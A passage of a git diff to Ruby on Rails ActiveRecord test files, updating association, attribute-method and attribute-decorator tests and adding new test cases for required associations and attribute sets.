@@ -130,7 +130,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
def test_has_many_through_has_one_through_with_has_one_source_reflection_preload
members = assert_queries(4) { Member.includes(:nested_sponsors).to_a }
mustache = sponsors(:moustache_club_sponsor_for_groucho)
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
assert_equal [mustache], members.first.nested_sponsors
end
end
@@ -153,6 +153,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
end
def test_has_many_through_has_one_with_has_many_through_source_reflection_preload
+ ActiveRecord::Base.connection.table_alias_length # preheat cache
members = assert_queries(4) { Member.includes(:organization_member_details).to_a.sort_by(&:id) }
groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
@@ -186,7 +187,9 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
members = assert_queries(4) { Member.includes(:organization_member_details_2).to_a.sort_by(&:id) }
groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
- assert_no_queries do
+ # postgresql test if randomly executed then executes "SHOW max_identifier_length". Hence
+ # the need to ignore certain predefined sqls that deal with system calls.
+ assert_no_queries(ignore_none: false) do
assert_equal [groucho_details, other_details], members.first.organization_member_details_2.sort_by(&:id)
end
end
@@ -212,7 +215,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
end
def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection_preload
- authors = assert_queries(3) { Author.includes(:post_categories).to_a.sort_by(&:id) }
+ authors = assert_queries(4) { Author.includes(:post_categories).to_a.sort_by(&:id) }
general, cooking = categories(:general), categories(:cooking)
assert_no_queries do
@@ -221,6 +224,9 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
end
def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection_preload_via_joins
+ # preload table schemas
+ Author.joins(:post_categories).first
+
assert_includes_and_joins_equal(
Author.where('categories.id' => categories(:cooking).id),
[authors(:bob)], :post_categories
@@ -237,7 +243,8 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
end
def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload
- categories = assert_queries(3) { Category.includes(:post_comments).to_a.sort_by(&:id) }
+ Category.includes(:post_comments).to_a # preheat cache
+ categories = assert_queries(4) { Category.includes(:post_comments).to_a.sort_by(&:id) }
greetings, more = comments(:greetings), comments(:more_greetings)
assert_no_queries do
@@ -246,6 +253,9 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
end
def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload_via_joins
+ # preload table schemas
+ Category.joins(:post_comments).first
+
assert_includes_and_joins_equal(
Category.where('comments.id' => comments(:more_greetings).id).order('categories.id'),
[categories(:general), categories(:technology)], :post_comments
@@ -262,7 +272,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
end
def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection_preload
- authors = assert_queries(5) { Author.includes(:category_post_comments).to_a.sort_by(&:id) }
+ authors = assert_queries(6) { Author.includes(:category_post_comments).to_a.sort_by(&:id) }
greetings, more = comments(:greetings), comments(:more_greetings)
assert_no_queries do
@@ -271,6 +281,9 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
end
def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection_preload_via_joins
+ # preload table schemas
+ Author.joins(:category_post_comments).first
+
assert_includes_and_joins_equal(
Author.where('comments.id' => comments(:does_it_hurt).id).order('authors.id'),
[authors(:david), authors(:mary)], :category_post_comments
@@ -360,7 +373,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
prev_default_scope = Club.default_scopes
[:includes, :preload, :joins, :eager_load].each do |q|
- Club.default_scopes = [Club.send(q, :category)]
+ Club.default_scopes = [proc { Club.send(q, :category) }]
assert_equal categories(:general), members(:groucho).reload.club_category
end
ensure
@@ -401,7 +414,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
# Mary and Bob both have posts in misc, but they are the only ones.
authors = Author.joins(:similar_posts).where('posts.id' => posts(:misc_by_bob).id)
- assert_equal [authors(:mary), authors(:bob)], authors.uniq.sort_by(&:id)
+ assert_equal [authors(:mary), authors(:bob)], authors.distinct.sort_by(&:id)
# Check the polymorphism of taggings is being observed correctly (in both joins)
authors = Author.joins(:similar_posts).where('taggings.taggable_type' => 'FakeModel')
diff --git a/activerecord/test/cases/associations/required_test.rb b/activerecord/test/cases/associations/required_test.rb
new file mode 100644
index 0000000000..321fb6c8dd
--- /dev/null
+++ b/activerecord/test/cases/associations/required_test.rb
@@ -0,0 +1,82 @@
+require "cases/helper"
+
+class RequiredAssociationsTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class Parent < ActiveRecord::Base
+ end
+
+ class Child < ActiveRecord::Base
+ end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table :parents, force: true
+ @connection.create_table :children, force: true do |t|
+ t.belongs_to :parent
+ end
+ end
+
+ teardown do
+ @connection.drop_table 'parents' if @connection.table_exists? 'parents'
+ @connection.drop_table 'children' if @connection.table_exists? 'children'
+ end
+
+ test "belongs_to associations are not required by default" do
+ model = subclass_of(Child) do
+ belongs_to :parent, inverse_of: false,
+ class_name: "RequiredAssociationsTest::Parent"
+ end
+
+ assert model.new.save
+ assert model.new(parent: Parent.new).save
+ end
+
+ test "required belongs_to associations have presence validated" do
+ model = subclass_of(Child) do
+ belongs_to :parent, required: true, inverse_of: false,
+ class_name: "RequiredAssociationsTest::Parent"
+ end
+
+ record = model.new
+ assert_not record.save
+ assert_equal ["Parent can't be blank"], record.errors.full_messages
+
+ record.parent = Parent.new
+ assert record.save
+ end
+
+ test "has_one associations are not required by default" do
+ model = subclass_of(Parent) do
+ has_one :child, inverse_of: false,
+ class_name: "RequiredAssociationsTest::Child"
+ end
+
+ assert model.new.save
+ assert model.new(child: Child.new).save
+ end
+
+ test "required has_one associations have presence validated" do
+ model = subclass_of(Parent) do
+ has_one :child, required: true, inverse_of: false,
+ class_name: "RequiredAssociationsTest::Child"
+ end
+
+ record = model.new
+ assert_not record.save
+ assert_equal ["Child can't be blank"], record.errors.full_messages
+
+ record.child = Child.new
+ assert record.save
+ end
+
+ private
+
+ def subclass_of(klass, &block)
+ subclass = Class.new(klass, &block)
+ def subclass.name
+ superclass.name
+ end
+ subclass
+ end
+end
diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb
index d7f25f760e..c6769edcbf 100644
--- a/activerecord/test/cases/associations_test.rb
+++ b/activerecord/test/cases/associations_test.rb
@@ -1,6 +1,7 @@
require "cases/helper"
require 'models/computer'
require 'models/developer'
+require 'models/computer'
require 'models/project'
require 'models/company'
require 'models/categorization'
@@ -18,10 +19,12 @@ require 'models/ship'
require 'models/liquid'
require 'models/molecule'
require 'models/electron'
+require 'models/man'
+require 'models/interest'
class AssociationsTest < ActiveRecord::TestCase
fixtures :accounts, :companies, :developers, :projects, :developers_projects,
- :computers, :people, :readers
+ :computers, :people, :readers, :authors, :author_favorites
def test_eager_loading_should_not_change_count_of_children
liquid = Liquid.create(:name => 'salty')
@@ -33,12 +36,19 @@ class AssociationsTest < ActiveRecord::TestCase
assert_equal 1, liquids[0].molecules.length
end
+ def test_subselect
+ author = authors :david
+ favs = author.author_favorites
+ fav2 = author.author_favorites.where(:author => Author.where(id: author.id)).to_a
+ assert_equal favs, fav2
+ end
+
def test_clear_association_cache_stored
firm = Firm.find(1)
assert_kind_of Firm, firm
firm.clear_association_cache
- assert_equal Firm.find(1).clients.collect{ |x| x.name }.sort, firm.clients.collect{ |x| x.name }.sort
+ assert_equal Firm.find(1).clients.collect(&:name).sort, firm.clients.collect(&:name).sort
end
def test_clear_association_cache_new_record
@@ -95,7 +105,7 @@ class AssociationsTest < ActiveRecord::TestCase
def test_force_reload
firm = Firm.new("name" => "A New Firm, Inc")
firm.save
- firm.clients.each {|c|} # forcing to load all clients
+ firm.clients.each {} # forcing to load all clients
assert firm.clients.empty?, "New firm shouldn't have client objects"
assert_equal 0, firm.clients.size, "New firm should have 0 clients"
@@ -172,6 +182,18 @@ class AssociationProxyTest < ActiveRecord::TestCase
assert_equal 1, josh.posts.size
end
+ def test_append_behaves_like_push
+ josh = Author.new(:name => "Josh")
+ josh.posts.append Post.new(:title => "New on Edge", :body => "More cool stuff!")
+ assert josh.posts.loaded?
+ assert_equal 1, josh.posts.size
+ end
+
+ def test_prepend_is_not_defined
+ josh = Author.new(:name => "Josh")
+ assert_raises(NoMethodError) { josh.posts.prepend Post.new }
+ end
+
def test_save_on_parent_does_not_load_target
david = developers(:david)
@@ -203,7 +225,7 @@ class AssociationProxyTest < ActiveRecord::TestCase
assert_equal post.body, "More cool stuff!"
end
- def test_reload_returns_assocition
+ def test_reload_returns_association
david = developers(:david)
assert_nothing_raised do
assert_equal david.projects, david.projects.reload.reload
@@ -225,10 +247,34 @@ class AssociationProxyTest < ActiveRecord::TestCase
assert david.projects.scope.is_a?(ActiveRecord::Relation)
assert_equal david.projects, david.projects.scope
end
+
+ test "proxy object is cached" do
+ david = developers(:david)
+ assert david.projects.equal?(david.projects)
+ end
+
+ test "inverses get set of subsets of the association" do
+ man = Man.create
+ man.interests.create
+
+ man = Man.find(man.id)
+
+ assert_queries(1) do
+ assert_equal man, man.interests.where("1=1").first.man
+ end
+ end
+
+ def test_reset_unloads_target
+ david = authors(:david)
+ david.posts.reload
+
+ assert david.posts.loaded?
+ david.posts.reset
+ assert !david.posts.loaded?
+ end
end
class OverridingAssociationsTest < ActiveRecord::TestCase
- class Person < ActiveRecord::Base; end
class DifferentPerson < ActiveRecord::Base; end
class PeopleList < ActiveRecord::Base
@@ -249,7 +295,7 @@ class OverridingAssociationsTest < ActiveRecord::TestCase
def test_habtm_association_redefinition_callbacks_should_differ_and_not_inherited
# redeclared association on AR descendant should not inherit callbacks from superclass
callbacks = PeopleList.before_add_for_has_and_belongs_to_many
- assert_equal([:enlist], callbacks)
+ assert_equal(1, callbacks.length)
callbacks = DifferentPeopleList.before_add_for_has_and_belongs_to_many
assert_equal([], callbacks)
end
@@ -257,7 +303,7 @@ class OverridingAssociationsTest < ActiveRecord::TestCase
def test_has_many_association_redefinition_callbacks_should_differ_and_not_inherited
# redeclared association on AR descendant should not inherit callbacks from superclass
callbacks = PeopleList.before_add_for_has_many
- assert_equal([:enlist], callbacks)
+ assert_equal(1, callbacks.length)
callbacks = DifferentPeopleList.before_add_for_has_many
assert_equal([], callbacks)
end
@@ -291,7 +337,7 @@ class OverridingAssociationsTest < ActiveRecord::TestCase
end
def test_requires_symbol_argument
- assert_raises ArgumentError do
+ assert_raises ArgumentError do
Class.new(Post) do
belongs_to "author"
end
@@ -312,4 +358,18 @@ class GeneratedMethodsTest < ActiveRecord::TestCase
def test_model_method_overrides_association_method
assert_equal(comments(:greetings).body, posts(:welcome).first_comment)
end
+
+ module MyModule
+ def comments; :none end
+ end
+
+ class MyArticle < ActiveRecord::Base
+ self.table_name = "articles"
+ include MyModule
+ has_many :comments, inverse_of: false
+ end
+
+ def test_included_module_overwrites_association_methods
+ assert_equal :none, MyArticle.new.comments
+ end
end
diff --git a/activerecord/test/cases/attribute_decorators_test.rb b/activerecord/test/cases/attribute_decorators_test.rb
new file mode 100644
index 0000000000..53bd58e22e
--- /dev/null
+++ b/activerecord/test/cases/attribute_decorators_test.rb
@@ -0,0 +1,125 @@
+require 'cases/helper'
+
+module ActiveRecord
+ class AttributeDecoratorsTest < ActiveRecord::TestCase
+ class Model < ActiveRecord::Base
+ self.table_name = 'attribute_decorators_model'
+ end
+
+ class StringDecorator < SimpleDelegator
+ def initialize(delegate, decoration = "decorated!")
+ @decoration = decoration
+ super(delegate)
+ end
+
+ def type_cast_from_user(value)
+ "#{super} #{@decoration}"
+ end
+
+ alias type_cast_from_database type_cast_from_user
+ end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table :attribute_decorators_model, force: true do |t|
+ t.string :a_string
+ end
+ end
+
+ teardown do
+ return unless @connection
+ @connection.drop_table 'attribute_decorators_model' if @connection.table_exists? 'attribute_decorators_model'
+ Model.attribute_type_decorations.clear
+ Model.reset_column_information
+ end
+
+ test "attributes can be decorated" do
+ model = Model.new(a_string: 'Hello')
+ assert_equal 'Hello', model.a_string
+
+ Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+
+ model = Model.new(a_string: 'Hello')
+ assert_equal 'Hello decorated!', model.a_string
+ end
+
+ test "decoration does not eagerly load existing columns" do
+ Model.reset_column_information
+ assert_no_queries do
+ Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+ end
+ end
+
+ test "undecorated columns are not touched" do
+ Model.attribute :another_string, Type::String.new, default: 'something or other'
+ Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+
+ assert_equal 'something or other', Model.new.another_string
+ end
+
+ test "decorators can be chained" do
+ Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+ Model.decorate_attribute_type(:a_string, :other) { |t| StringDecorator.new(t) }
+
+ model = Model.new(a_string: 'Hello!')
+
+ assert_equal 'Hello! decorated! decorated!', model.a_string
+ end
+
+ test "decoration of the same type multiple times is idempotent" do
+ Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+ Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+
+ model = Model.new(a_string: 'Hello')
+ assert_equal 'Hello decorated!', model.a_string
+ end
+
+ test "decorations occur in order of declaration" do
+ Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+ Model.decorate_attribute_type(:a_string, :other) do |type|
+ StringDecorator.new(type, 'decorated again!')
+ end
+
+ model = Model.new(a_string: 'Hello!')
+
+ assert_equal 'Hello! decorated! decorated again!', model.a_string
+ end
+
+ test "decorating attributes does not modify parent classes" do
+ Model.attribute :another_string, Type::String.new, default: 'whatever'
+ Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+ child_class = Class.new(Model)
+ child_class.decorate_attribute_type(:another_string, :test) { |t| StringDecorator.new(t) }
+ child_class.decorate_attribute_type(:a_string, :other) { |t| StringDecorator.new(t) }
+
+ model = Model.new(a_string: 'Hello!')
+ child = child_class.new(a_string: 'Hello!')
+
+ assert_equal 'Hello! decorated!', model.a_string
+ assert_equal 'whatever', model.another_string
+ assert_equal 'Hello! decorated! decorated!', child.a_string
+ assert_equal 'whatever decorated!', child.another_string
+ end
+
+ class Multiplier < SimpleDelegator
+ def type_cast_from_user(value)
+ return if value.nil?
+ value * 2
+ end
+ alias type_cast_from_database type_cast_from_user
+ end
+
+ test "decorating with a proc" do
+ Model.attribute :an_int, Type::Integer.new
+ type_is_integer = proc { |_, type| type.type == :integer }
+ Model.decorate_matching_attribute_types type_is_integer, :multiplier do |type|
+ Multiplier.new(type)
+ end
+
+ model = Model.new(a_string: 'whatever', an_int: 1)
+
+ assert_equal 'whatever', model.a_string
+ assert_equal 2, model.an_int
+ end
+ end
+end
diff --git a/activerecord/test/cases/attribute_methods/read_test.rb b/activerecord/test/cases/attribute_methods/read_test.rb
index 8d8ff2f952..e38b32d7fc 100644
--- a/activerecord/test/cases/attribute_methods/read_test.rb
+++ b/activerecord/test/cases/attribute_methods/read_test.rb
@@ -12,16 +12,11 @@ module ActiveRecord
@klass = Class.new do
def self.superclass; Base; end
def self.base_class; self; end
+ def self.decorate_matching_attribute_types(*); end
+ def self.initialize_generated_modules; end
include ActiveRecord::AttributeMethods
- def self.define_attribute_methods
- # Created in the inherited/included hook for "proper" ARs
- @attribute_methods_mutex ||= Mutex.new
-
- super
- end
-
def self.column_names
%w{ one two three }
end
@@ -56,9 +51,9 @@ module ActiveRecord
end
def test_attribute_methods_generated?
- assert(!@klass.attribute_methods_generated?, 'attribute_methods_generated?')
+ assert_not @klass.method_defined?(:one)
@klass.define_attribute_methods
- assert(@klass.attribute_methods_generated?, 'attribute_methods_generated?')
+ assert @klass.method_defined?(:one)
end
end
end
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
index c503c21e27..731d433706 100644
--- a/activerecord/test/cases/attribute_methods_test.rb
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -1,6 +1,7 @@
require "cases/helper"
require 'models/minimalistic'
require 'models/developer'
+require 'models/computer'
require 'models/auto_id'
require 'models/boolean'
require 'models/computer'
@@ -22,11 +23,19 @@ class AttributeMethodsTest < ActiveRecord::TestCase
@target.table_name = 'topics'
end
- def teardown
+ teardown do
ActiveRecord::Base.send(:attribute_method_matchers).clear
ActiveRecord::Base.send(:attribute_method_matchers).concat(@old_matchers)
end
+ def test_attribute_for_inspect
+ t = topics(:first)
+ t.title = "The First Topic Now Has A Title With\nNewlines And More Than 50 Characters"
+
+ assert_equal %("#{t.written_on.to_s(:db)}"), t.attribute_for_inspect(:written_on)
+ assert_equal '"The First Topic Now Has A Title With\nNewlines And ..."', t.attribute_for_inspect(:title)
+ end
+
def test_attribute_present
t = Topic.new
t.title = "hello there!"
@@ -69,7 +78,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
end
def test_boolean_attributes
- assert ! Topic.find(1).approved?
+ assert !Topic.find(1).approved?
assert Topic.find(2).approved?
end
@@ -84,7 +93,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
def test_set_attributes_without_hash
topic = Topic.new
- assert_nothing_raised { topic.attributes = '' }
+ assert_raise(ArgumentError) { topic.attributes = '' }
end
def test_integers_as_nil
@@ -130,24 +139,26 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert_equal '10', keyboard.id_before_type_cast
assert_equal nil, keyboard.read_attribute_before_type_cast('id')
assert_equal '10', keyboard.read_attribute_before_type_cast('key_number')
+ assert_equal '10', keyboard.read_attribute_before_type_cast(:key_number)
end
# Syck calls respond_to? before actually calling initialize
def test_respond_to_with_allocated_object
- topic = Topic.allocate
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'topics'
+ end
+
+ topic = klass.allocate
assert !topic.respond_to?("nothingness")
assert !topic.respond_to?(:nothingness)
assert_respond_to topic, "title"
assert_respond_to topic, :title
end
- # IRB inspects the return value of "MyModel.allocate"
- # by inspecting it.
+ # IRB inspects the return value of "MyModel.allocate".
def test_allocated_object_can_be_inspected
topic = Topic.allocate
- topic.instance_eval { @attributes = nil }
- assert_nothing_raised { topic.inspect }
- assert topic.inspect, "#<Topic not initialized>"
+ assert_equal "#<Topic not initialized>", topic.inspect
end
def test_array_content
@@ -159,8 +170,8 @@ class AttributeMethodsTest < ActiveRecord::TestCase
end
def test_read_attributes_before_type_cast
- category = Category.new({:name=>"Test categoty", :type => nil})
- category_attrs = {"name"=>"Test categoty", "id" => nil, "type" => nil, "categorizations_count" => nil}
+ category = Category.new({:name=>"Test category", :type => nil})
+ category_attrs = {"name"=>"Test category", "id" => nil, "type" => nil, "categorizations_count" => nil}
assert_equal category_attrs , category.attributes_before_type_cast
end
@@ -247,6 +258,15 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert_equal @loaded_fixtures['computers']['workstation'].to_hash, Computer.first.attributes
end
+ def test_attributes_without_primary_key
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'developers_projects'
+ end
+
+ assert_equal klass.column_names, klass.new.attributes.keys
+ assert_not klass.new.has_attribute?('id')
+ end
+
def test_hashes_not_mangled
new_topic = { :title => "New Topic" }
new_topic_values = { :title => "AnotherTopic" }
@@ -282,10 +302,10 @@ class AttributeMethodsTest < ActiveRecord::TestCase
def test_read_attribute
topic = Topic.new
topic.title = "Don't change the topic"
- assert_equal "Don't change the topic", topic.send(:read_attribute, "title")
+ assert_equal "Don't change the topic", topic.read_attribute("title")
assert_equal "Don't change the topic", topic["title"]
- assert_equal "Don't change the topic", topic.send(:read_attribute, :title)
+ assert_equal "Don't change the topic", topic.read_attribute(:title)
assert_equal "Don't change the topic", topic[:title]
end
@@ -293,6 +313,8 @@ class AttributeMethodsTest < ActiveRecord::TestCase
computer = Computer.select('id').first
assert_raises(ActiveModel::MissingAttributeError) { computer[:developer] }
assert_raises(ActiveModel::MissingAttributeError) { computer[:extendedWarranty] }
+ assert_raises(ActiveModel::MissingAttributeError) { computer[:no_column_exists] = 'Hello!' }
+ assert_nothing_raised { computer[:developer] = 'Hello!' }
end
def test_read_attribute_when_false
@@ -352,10 +374,10 @@ class AttributeMethodsTest < ActiveRecord::TestCase
super(attr_name).upcase
end
- assert_equal "STOP CHANGING THE TOPIC", topic.send(:read_attribute, "title")
+ assert_equal "STOP CHANGING THE TOPIC", topic.read_attribute("title")
assert_equal "STOP CHANGING THE TOPIC", topic["title"]
- assert_equal "STOP CHANGING THE TOPIC", topic.send(:read_attribute, :title)
+ assert_equal "STOP CHANGING THE TOPIC", topic.read_attribute(:title)
assert_equal "STOP CHANGING THE TOPIC", topic[:title]
end
@@ -443,10 +465,10 @@ class AttributeMethodsTest < ActiveRecord::TestCase
end
def test_declared_suffixed_attribute_method_affects_respond_to_and_method_missing
- topic = @target.new(:title => 'Budget')
%w(_default _title_default _it! _candidate= able?).each do |suffix|
@target.class_eval "def attribute#{suffix}(*args) args end"
@target.attribute_method_suffix suffix
+ topic = @target.new(:title => 'Budget')
meth = "title#{suffix}"
assert topic.respond_to?(meth)
@@ -457,10 +479,10 @@ class AttributeMethodsTest < ActiveRecord::TestCase
end
def test_declared_affixed_attribute_method_affects_respond_to_and_method_missing
- topic = @target.new(:title => 'Budget')
[['mark_', '_for_update'], ['reset_', '!'], ['default_', '_value?']].each do |prefix, suffix|
@target.class_eval "def #{prefix}attribute#{suffix}(*args) args end"
@target.attribute_method_affix({ :prefix => prefix, :suffix => suffix })
+ topic = @target.new(:title => 'Budget')
meth = "#{prefix}title#{suffix}"
assert topic.respond_to?(meth)
@@ -509,44 +531,36 @@ class AttributeMethodsTest < ActiveRecord::TestCase
end
end
- def test_only_time_related_columns_are_meant_to_be_cached_by_default
- expected = %w(datetime timestamp time date).sort
- assert_equal expected, ActiveRecord::Base.attribute_types_cached_by_default.map(&:to_s).sort
- end
+ def test_deprecated_cache_attributes
+ assert_deprecated do
+ Topic.cache_attributes :replies_count
+ end
- def test_declaring_attributes_as_cached_adds_them_to_the_attributes_cached_by_default
- default_attributes = Topic.cached_attributes
- Topic.cache_attributes :replies_count
- expected = default_attributes + ["replies_count"]
- assert_equal expected.sort, Topic.cached_attributes.sort
- Topic.instance_variable_set "@cached_attributes", nil
- end
+ assert_deprecated do
+ Topic.cached_attributes
+ end
- def test_cacheable_columns_are_actually_cached
- assert_equal cached_columns.sort, Topic.cached_attributes.sort
+ assert_deprecated do
+ Topic.cache_attribute? :replies_count
+ end
end
- def test_accessing_cached_attributes_caches_the_converted_values_and_nothing_else
- t = topics(:first)
- cache = t.instance_variable_get "@attributes_cache"
+ def test_converted_values_are_returned_after_assignment
+ developer = Developer.new(name: 1337, salary: "50000")
- assert_not_nil cache
- assert cache.empty?
+ assert_equal "50000", developer.salary_before_type_cast
+ assert_equal 1337, developer.name_before_type_cast
- all_columns = Topic.columns.map(&:name)
- uncached_columns = all_columns - cached_columns
+ assert_equal 50000, developer.salary
+ assert_equal "1337", developer.name
- all_columns.each do |attr_name|
- attribute_gets_cached = Topic.cache_attribute?(attr_name)
- val = t.send attr_name unless attr_name == "type"
- if attribute_gets_cached
- assert cached_columns.include?(attr_name)
- assert_equal val, cache[attr_name]
- else
- assert uncached_columns.include?(attr_name)
- assert !cache.include?(attr_name)
- end
- end
+ developer.save!
+
+ assert_equal "50000", developer.salary_before_type_cast
+ assert_equal 1337, developer.name_before_type_cast
+
+ assert_equal 50000, developer.salary
+ assert_equal "1337", developer.name
end
def test_write_nil_to_time_attributes
@@ -668,6 +682,14 @@ class AttributeMethodsTest < ActiveRecord::TestCase
end
end
+ def test_yaml_dumping_record_with_time_zone_aware_attribute
+ in_time_zone "Pacific Time (US & Canada)" do
+ record = Topic.new(id: 1)
+ record.written_on = "Jan 01 00:00:00 2014"
+ assert_equal record, YAML.load(YAML.dump(record))
+ end
+ end
+
def test_setting_time_zone_conversion_for_attributes_should_write_value_on_class_variable
Topic.skip_time_zone_conversion_for_attributes = [:field_a]
Minimalistic.skip_time_zone_conversion_for_attributes = [:field_b]
@@ -713,19 +735,49 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert_raise(ActiveRecord::UnknownAttributeError) { @target.new.attributes = { :title => "Ants in pants" } }
end
- def test_read_attribute_overwrites_private_method_not_considered_implemented
- # simulate a model with a db column that shares its name an inherited
- # private method (e.g. Object#system)
- #
- Object.class_eval do
- private
- def title; "private!"; end
+ def test_bulk_update_raise_unknown_attribute_error
+ error = assert_raises(ActiveRecord::UnknownAttributeError) {
+ Topic.new(hello: "world")
+ }
+ assert_instance_of Topic, error.record
+ assert_equal "hello", error.attribute
+ assert_equal "unknown attribute 'hello' for Topic.", error.message
+ end
+
+ def test_methods_override_in_multi_level_subclass
+ klass = Class.new(Developer) do
+ def name
+ "dev:#{read_attribute(:name)}"
+ end
end
- assert !@target.instance_method_already_implemented?(:title)
- topic = @target.new
- assert_nil topic.title
- Object.send(:undef_method, :title) # remove test method from object
+ 2.times { klass = Class.new klass }
+ dev = klass.new(name: 'arthurnn')
+ dev.save!
+ assert_equal 'dev:arthurnn', dev.reload.name
+ end
+
+ def test_global_methods_are_overwritten
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'computers'
+ end
+
+ assert !klass.instance_method_already_implemented?(:system)
+ computer = klass.new
+ assert_nil computer.system
+ end
+
+ def test_global_methods_are_overwritte_when_subclassing
+ klass = Class.new(ActiveRecord::Base) { self.abstract_class = true }
+
+ subklass = Class.new(klass) do
+ self.table_name = 'computers'
+ end
+
+ assert !klass.instance_method_already_implemented?(:system)
+ assert !subklass.instance_method_already_implemented?(:system)
+ computer = subklass.new
+ assert_nil computer.system
end
def test_instance_method_should_be_defined_on_the_base_class
@@ -744,21 +796,6 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert subklass.method_defined?(:id), "subklass is missing id method"
end
- def test_dispatching_column_attributes_through_method_missing_deprecated
- Topic.define_attribute_methods
-
- topic = Topic.new(:id => 5)
- topic.id = 5
-
- topic.method(:id).owner.send(:undef_method, :id)
-
- assert_deprecated do
- assert_equal 5, topic.id
- end
- ensure
- Topic.undefine_attribute_methods
- end
-
def test_read_attribute_with_nil_should_not_asplode
assert_equal nil, Topic.new.read_attribute(nil)
end
@@ -767,8 +804,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
# that by defining a 'foo' method in the generated methods module for B.
# (That module will be inserted between the two, e.g. [B, <GeneratedAttributes>, A].)
def test_inherited_custom_accessors
- klass = Class.new(ActiveRecord::Base) do
- self.table_name = "topics"
+ klass = new_topic_like_ar_class do
self.abstract_class = true
def title; "omg"; end
def title=(val); self.author_name = val; end
@@ -783,10 +819,103 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert_equal "lol", topic.author_name
end
+ def test_inherited_custom_accessors_with_reserved_names
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'computers'
+ self.abstract_class = true
+ def system; "omg"; end
+ def system=(val); self.developer = val; end
+ end
+
+ subklass = Class.new(klass)
+ [klass, subklass].each(&:define_attribute_methods)
+
+ computer = subklass.find(1)
+ assert_equal "omg", computer.system
+
+ computer.developer = 99
+ assert_equal 99, computer.developer
+ end
+
+ def test_on_the_fly_super_invokable_generated_attribute_methods_via_method_missing
+ klass = new_topic_like_ar_class do
+ def title
+ super + '!'
+ end
+ end
+
+ real_topic = topics(:first)
+ assert_equal real_topic.title + '!', klass.find(real_topic.id).title
+ end
+
+ def test_on_the_fly_super_invokable_generated_predicate_attribute_methods_via_method_missing
+ klass = new_topic_like_ar_class do
+ def title?
+ !super
+ end
+ end
+
+ real_topic = topics(:first)
+ assert_equal !real_topic.title?, klass.find(real_topic.id).title?
+ end
+
+ def test_calling_super_when_parent_does_not_define_method_raises_error
+ klass = new_topic_like_ar_class do
+ def some_method_that_is_not_on_super
+ super
+ end
+ end
+
+ assert_raise(NoMethodError) do
+ klass.new.some_method_that_is_not_on_super
+ end
+ end
+
+ def test_attribute_method?
+ assert @target.attribute_method?(:title)
+ assert @target.attribute_method?(:title=)
+ assert_not @target.attribute_method?(:wibble)
+ end
+
+ def test_attribute_method_returns_false_if_table_does_not_exist
+ @target.table_name = 'wibble'
+ assert_not @target.attribute_method?(:title)
+ end
+
+ def test_attribute_names_on_new_record
+ model = @target.new
+
+ assert_equal @target.column_names, model.attribute_names
+ end
+
+ def test_attribute_names_on_queried_record
+ model = @target.last!
+
+ assert_equal @target.column_names, model.attribute_names
+ end
+
+ def test_attribute_names_with_custom_select
+ model = @target.select('id').last!
+
+ assert_equal ['id'], model.attribute_names
+ # Sanity check, make sure other columns exist
+ assert_not_equal ['id'], @target.column_names
+ end
+
private
+ def new_topic_like_ar_class(&block)
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'topics'
+ class_eval(&block)
+ end
+
+ assert_empty klass.generated_attribute_methods.instance_methods(false)
+ klass
+ end
+
def cached_columns
- Topic.columns.map(&:name) - Topic.serialized_attributes.keys
+ Topic.columns.map(&:name)
end
def time_related_columns_on_topic
diff --git a/activerecord/test/cases/attribute_set_test.rb b/activerecord/test/cases/attribute_set_test.rb
new file mode 100644
index 0000000000..de63672963
--- /dev/null
+++ b/activerecord/test/cases/attribute_set_test.rb
@@ -0,0 +1,182 @@
+require 'cases/helper'
+
+module ActiveRecord
+ class AttributeSetTest < ActiveRecord::TestCase
+ test "building a new set from raw attributes" do
+ builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
